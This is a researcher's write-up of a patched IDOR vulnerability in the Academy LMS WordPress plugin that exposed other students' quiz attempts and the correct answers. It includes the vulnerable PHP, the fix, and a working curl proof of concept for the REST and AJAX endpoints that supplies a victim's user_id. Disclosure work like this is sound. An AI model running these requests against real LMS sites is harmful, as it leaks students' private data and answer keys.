July 15, 2026
How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers
Author: Shikhali Jamalzade GitHub: alisalive LinkedIn: camalzads Type: Independent Security Research | WordPress Plugin CVE Research

By Shikhali Jamalzade
7 min read
This is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed any enrolled student to read another student's private quiz results and extract the correct answers to quiz questions — before or during an attempt. It was independently confirmed by another researcher, has since been patched, and this write-up is being published after the fix was released.
Background: Why Academy LMS
My WordPress plugin research methodology targets plugins in the 500–9,000 active installations range — a zone that tends to receive less security scrutiny than larger plugins while still having enough real-world deployment to matter. For each candidate, I start with passive analysis: reading the changelog for security-related keywords, reviewing the readme, and checking WPScan's vulnerability history before touching any code.
Academy LMS caught my attention because its 3.8.1 changelog contained a specific entry: "Fixed — AJAX API vulnerability in the Notes feature." This is one of the strongest signals I look for. A developer who has already fixed a security issue in one part of a codebase often used the same patterns elsewhere — and those other places sometimes didn't get fixed at the same time. My hypothesis was simple: if the Notes controller was fixed, what about the Quiz controller?
This turned out to be exactly the right question.
Understanding the Architecture
Academy LMS uses two parallel systems for handling API requests.
The first is a centralized AJAX handler defined in includes/classes/abstract-ajax-handler.php. Every AJAX action registered through this base class passes through handle_ajax_request(), which enforces nonce validation and capability checks before dispatching to the actual callback. This is a solid design pattern.
The second system is a collection of REST controllers under includes/api/ and addons/quizzes/api/. Each controller registers its own routes via register_rest_route() and defines its own permission_callback per endpoint. This is where consistency breaks down.
When I grepped for permission_callback across the entire plugin, the Notes controller showed the correct pattern: every route used array($this, 'permissions_check'), and that function derived the user via get_current_user_id(), never accepting a user identifier from the request. The Notes fix had made this air-tight.
The Quiz attempts controller told a different story.
Two routes in addons/quizzes/api/quiz-questions.php used 'permission_callback' => '__return_true' — meaning no authentication required at all for those endpoints. That was worth noting. But the more serious issue was in addons/quizzes/api/quiz-attempts.php, specifically in the get_student_quiz_attempt_details endpoint.
The Vulnerability: Two Separate Failure Points
The get_student_quiz_attempt_details handler had two independent authorization failures that together created a working IDOR.
Failure point one: the target user was read from the request, not the session.
// addons/quizzes/api/quiz-attempts.php, line ~305
$student_id = $request->get_param( 'user_id' );
if ( ! $student_id ) {
$student_id = get_current_user_id();
}// addons/quizzes/api/quiz-attempts.php, line ~305
$student_id = $request->get_param( 'user_id' );
if ( ! $student_id ) {
$student_id = get_current_user_id();
}The handler falls back to the session user only if user_id is absent from the request. Any caller who supplies a user_id parameter gets that value used as the target identity. This is the classic IDOR setup: the object being accessed is determined by a client-controlled key.
Failure point two: the access gate was evaluated against the victim's context, not the caller's.
// lines ~308-315
$is_administrator = current_user_can( 'administrator' );
$is_instructor = \Academy\Helper::is_instructor_of_this_course( $student_id, $course_id );
$enrolled = \Academy\Helper::is_enrolled( $course_id, $student_id );
$is_public = \Academy\Helper::is_public_course( $course_id );
if ( $is_administrator || $is_instructor || $enrolled || $is_public ) {
// returns attempt details
}// lines ~308-315
$is_administrator = current_user_can( 'administrator' );
$is_instructor = \Academy\Helper::is_instructor_of_this_course( $student_id, $course_id );
$enrolled = \Academy\Helper::is_enrolled( $course_id, $student_id );
$is_public = \Academy\Helper::is_public_course( $course_id );
if ( $is_administrator || $is_instructor || $enrolled || $is_public ) {
// returns attempt details
}Notice that is_instructor_of_this_course and is_enrolled both receive $student_id — the attacker-controlled value — not get_current_user_id(). So when an attacker supplies a victim's user_id, the gate asks "is the victim enrolled in this course?" rather than "is the caller enrolled in this course?" If the victim is enrolled (which they must be to have a quiz attempt), the gate returns true, and the handler proceeds to fetch and return that victim's data.
The database query confirmed the full impact:
// classes/query.php, get_quiz_attempt_details()
"SELECT
attempt_answers.attempt_id,
attempt_answers.user_id,
attempt_answers.is_correct,
attempt_answers.answer as given_answer,
quiz_answers.answer_title as correct_answer,
quiz_answers.answer_content,
quiz_answers.is_correct as is_correct_answer,
quiz_questions.question_title,
quiz_questions.question_type,
...
FROM {$wpdb->prefix}academy_quiz_attempt_answers as attempt_answers
LEFT JOIN {$wpdb->prefix}academy_quiz_answers as quiz_answers
ON attempt_answers.question_id = quiz_answers.question_id
WHERE attempt_answers.attempt_id=%d AND attempt_answers.user_id=%d"// classes/query.php, get_quiz_attempt_details()
"SELECT
attempt_answers.attempt_id,
attempt_answers.user_id,
attempt_answers.is_correct,
attempt_answers.answer as given_answer,
quiz_answers.answer_title as correct_answer,
quiz_answers.answer_content,
quiz_answers.is_correct as is_correct_answer,
quiz_questions.question_title,
quiz_questions.question_type,
...
FROM {$wpdb->prefix}academy_quiz_attempt_answers as attempt_answers
LEFT JOIN {$wpdb->prefix}academy_quiz_answers as quiz_answers
ON attempt_answers.question_id = quiz_answers.question_id
WHERE attempt_answers.attempt_id=%d AND attempt_answers.user_id=%d"The SELECT *-style join pulled answer_title and answer_content from the quiz_answers table — rows that include is_correct=1 entries, meaning the correct answers. The response handed the full set to the caller: every question the victim answered, whether they got it right, and what the correct answer was.
The same vulnerable function was exposed through two independent entry points. The REST route at /wp-json/academy/v1/quiz_attempts/{id}/get_student_quiz_attempt_details used this logic directly. The AJAX action academy_quizzes/get_student_quiz_attempt_details via /wp-admin/admin-ajax.php used an identical copy of the same handler in addons/quizzes/ajax/frontend.php.
Both were confirmed exploitable during testing.
The Contrast with the Fixed Code
What made this particularly clear-cut was the comparison with the Notes controller. The fix that had been shipped for Notes followed a textbook pattern:
// includes/api/notes.php (fixed)
public function get_user_notes( $request ) {
$user_id = get_current_user_id();
// ...
}// includes/api/notes.php (fixed)
public function get_user_notes( $request ) {
$user_id = get_current_user_id();
// ...
}No $request->get_param('user_id'). The user identity is always taken from the authenticated session. The Quiz handler simply never received the same treatment.
This is a pattern I have seen repeatedly in plugin codebases: a developer identifies and fixes a class of vulnerability in one module, but the fix is not propagated to sibling modules that share the same pattern. The developer who wrote the Notes fix clearly understood the right approach. The Quiz addon was not updated to match.
Live Proof of Concept
I reproduced this against a local Docker environment running WordPress with Academy LMS 3.8.2 and the Quizzes addon enabled.
Actors in the test:
- Attacker:
pocsubscriber(user ID 4, Subscriber role), enrolled in a shared course - Victim:
victimstudent(user ID 5, Subscriber role), enrolled in the same course, with a completed quiz attempt containing a seeded correct-answer marker
The attacker authenticates normally and obtains a valid REST nonce:
curl -s -c cj.txt "http://TARGET/wp-login.php" -o /dev/null
curl -s -b cj.txt -c cj.txt \
--data-urlencode 'log=pocsubscriber' \
--data-urlencode 'pwd=PASSWORD' \
--data-urlencode 'wp-submit=Log In' \
--data-urlencode 'testcookie=1' \
"http://TARGET/wp-login.php" -o /dev/null
NONCE=$(curl -s -b cj.txt \
"http://TARGET/wp-admin/admin-ajax.php?action=rest-nonce")curl -s -c cj.txt "http://TARGET/wp-login.php" -o /dev/null
curl -s -b cj.txt -c cj.txt \
--data-urlencode 'log=pocsubscriber' \
--data-urlencode 'pwd=PASSWORD' \
--data-urlencode 'wp-submit=Log In' \
--data-urlencode 'testcookie=1' \
"http://TARGET/wp-login.php" -o /dev/null
NONCE=$(curl -s -b cj.txt \
"http://TARGET/wp-admin/admin-ajax.php?action=rest-nonce")The attacker then sends a request supplying the victim's user_id and attempt_id:
curl -s -b cj.txt -H "X-WP-Nonce: $NONCE" \
"http://TARGET/wp-json/academy/v1/quiz_attempts/3/get_student_quiz_attempt_details?course_id=32&user_id=5"curl -s -b cj.txt -H "X-WP-Nonce: $NONCE" \
"http://TARGET/wp-json/academy/v1/quiz_attempts/3/get_student_quiz_attempt_details?course_id=32&user_id=5"The response:
{
"3": {
"attempt_id": "3",
"user_id": "5",
"is_correct": true,
"given_answer": [],
"correct_answer": [
{
"answer_id": "2",
"quiz_id": "33",
"answer_title": "SECRET_CORRECT_Paris",
"answer_order": "1"
}
],
"answer_content": "CORRECT_ANSWER_CONTENT",
"question_title": "Capital of France?",
"question_type": "true_false"
}
}{
"3": {
"attempt_id": "3",
"user_id": "5",
"is_correct": true,
"given_answer": [],
"correct_answer": [
{
"answer_id": "2",
"quiz_id": "33",
"answer_title": "SECRET_CORRECT_Paris",
"answer_order": "1"
}
],
"answer_content": "CORRECT_ANSWER_CONTENT",
"question_title": "Capital of France?",
"question_type": "true_false"
}
}User ID 4 received user ID 5's quiz data, including the seeded correct-answer marker SECRET_CORRECT_Paris. The same result was reproduced via the AJAX vector:
curl -s -b cj.txt \
--data-urlencode 'action=academy_quizzes/get_student_quiz_attempt_details' \
--data-urlencode 'security=ACADEMY_NONCE' \
--data-urlencode 'course_id=32' \
--data-urlencode 'attempt_id=3' \
--data-urlencode 'user_id=5' \
"http://TARGET/wp-admin/admin-ajax.php"curl -s -b cj.txt \
--data-urlencode 'action=academy_quizzes/get_student_quiz_attempt_details' \
--data-urlencode 'security=ACADEMY_NONCE' \
--data-urlencode 'course_id=32' \
--data-urlencode 'attempt_id=3' \
--data-urlencode 'user_id=5' \
"http://TARGET/wp-admin/admin-ajax.php"Response: "success": true, same data.
Impact Assessment
The impact has two distinct dimensions.
The first is a straightforward confidentiality breach. Any enrolled student could enumerate other students' quiz attempts by iterating over sequential attempt_id and user_id integers — both auto-increment, both trivially guessable. For every attempt they could retrieve the submitted answers, whether each answer was correct, and the final score. In an educational context, this is a meaningful privacy violation: a student's quiz performance is personal data.
The second dimension is academic integrity. The correct_answer field in the response exposes the correct answers to every quiz question, regardless of whether the requester has even started the quiz. A student could query this endpoint before beginning an attempt, extract the answer key, and complete the quiz with full knowledge of all correct answers. Every graded assessment built on the Academy LMS Quizzes addon was affected.
The required access level was Subscriber — the lowest authenticated role in WordPress. Any user who could create an account and enroll in a course could exploit this. In the free edition, is_public_course() always returns false due to an unregistered hook, so the practical attack surface was authenticated cross-student access within any shared course. This is the normal LMS use case: multiple students in the same course.
CVSS 3.1 score: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).
Disclosure Timeline
Discovery and full proof-of-concept (both vectors confirmed): 2026–07–02
Vendor notified via email to contact@kodezen.com with full technical description, affected code locations, and suggested remediation: 2026–07–02
Submitted to WPScan vulnerability database with CVE request: 2026–07–02
WPScan confirmed the vulnerability was already being tracked (independent discovery, duplicate submission): 2026–07–02
Fix confirmed in latest version by code review (all $request->get_param('user_id') references replaced with get_current_user_id() throughout quiz-attempts.php): 2026-07-10
Write-up published: 2026–07–10
The Fix
The vendor addressed the vulnerability by replacing all attacker-controlled user identity references with session-derived values. In the current version of addons/quizzes/api/quiz-attempts.php:
// Before (vulnerable):
$student_id = $request->get_param( 'user_id' );
if ( ! $student_id ) {
$student_id = get_current_user_id();
}
// After (fixed):
$current_user_id = get_current_user_id();// Before (vulnerable):
$student_id = $request->get_param( 'user_id' );
if ( ! $student_id ) {
$student_id = get_current_user_id();
}
// After (fixed):
$current_user_id = get_current_user_id();The access gate now evaluates is_enrolled and is_instructor_of_this_course against the authenticated caller, not a request-supplied identity. The fix was applied consistently across both the REST and AJAX entry points. If you are running Academy LMS with the Quizzes addon, update to the latest version.
What This Teaches
A few things stood out during this research that are worth naming explicitly.
The inconsistent-fix pattern is real and worth hunting deliberately. When a plugin ships a security fix in one module, the most productive next step is to find every module that uses the same pattern and check whether it was updated. In this case, the Notes controller and the Quiz controller shared the same conceptual flaw. The fix applied to Notes in 3.8.1 was not carried through to the Quiz addon. This is not negligence — it is a natural consequence of how security fixes get written. A developer identifies a specific bug, fixes that specific bug, and moves on. The audit that would catch the sibling issue requires a broader view.
The access gate placement matters as much as the access gate logic. The permission_callback on the REST route only checked whether the caller was logged in and associated with the course in a general sense. It did not check whether the object being requested (the specific attempt) belonged to the caller. Object-level authorization — checking not just "can this user access this resource type" but "can this user access this specific resource instance" — needs to happen at the data retrieval layer, not just at the route entry point. This is the core of what OWASP calls Broken Object-Level Authorization (BOLA), the top item in the OWASP API Security Top 10.
Sequential integer identifiers make IDOR exploitable at scale. When attempt_id and user_id are both auto-increment database integers, an attacker does not need to know specific values to enumerate the data. They iterate. Opaque identifiers (UUIDs, non-sequential tokens) raise the bar, but they are not a substitute for proper authorization — they only make enumeration harder, not impossible if an attacker has access to any valid identifier. The fix here was correct: enforce ownership at the query layer regardless of identifier type.
If you found this useful, feel free to connect on LinkedIn or check out my projects on GitHub.